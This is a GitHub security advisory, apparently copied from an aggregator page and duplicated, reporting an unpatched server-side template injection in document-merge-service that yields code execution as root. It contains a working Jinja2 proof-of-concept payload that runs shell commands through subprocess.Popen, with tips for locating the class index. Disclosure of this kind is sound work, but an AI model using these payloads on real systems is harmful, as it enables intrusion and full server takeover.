Headline

GHSA-v5gf-r78h-55q6: document-merge-service vulnerable to Remote Code Execution via Server-Side Template Injection

Impact

What kind of vulnerability is it? Who is impacted?

RCE via SSTI, as root, full takeover.

Patches

Has the problem been patched? What versions should users upgrade to?

It has not been patched.

References

Are there any links users can visit to find out more?

https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti

POC

Add the following to a document, upload and render it:

{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} 
ls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("ls -a", shell=True, stdout=-1).communicate()[0].strip() }}

whoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("whoami", shell=True, stdout=-1).communicate()[0].strip() }}

uname -a:
{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("uname -a", shell=True, stdout=-1).communicate()[0].strip() }}

{% endif %}

The index might be different, so to debug this first render a template with {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }} and then get the index of subprocess.Popen and replace 202 with that.

6 months ago

ghsa

Open in Source

#vulnerability #web #git #rce

Impact

What kind of vulnerability is it? Who is impacted?

RCE via SSTI, as root, full takeover.

Patches

Has the problem been patched? What versions should users upgrade to?

It has not been patched.

References

Are there any links users can visit to find out more?

https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti

POC

Add the following to a document, upload and render it:

{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} ls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("ls -a", shell=True, stdout=-1).communicate()[0].strip() }}

whoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("whoami", shell=True, stdout=-1).communicate()[0].strip() }}

uname -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("uname -a", shell=True, stdout=-1).communicate()[0].strip() }}

{% endif %}

The index might be different, so to debug this first render a template with {{ PLACEHOLDER.class.mro[1].subclasses() }} and then get the index of subprocess.Popen and replace 202 with that.

References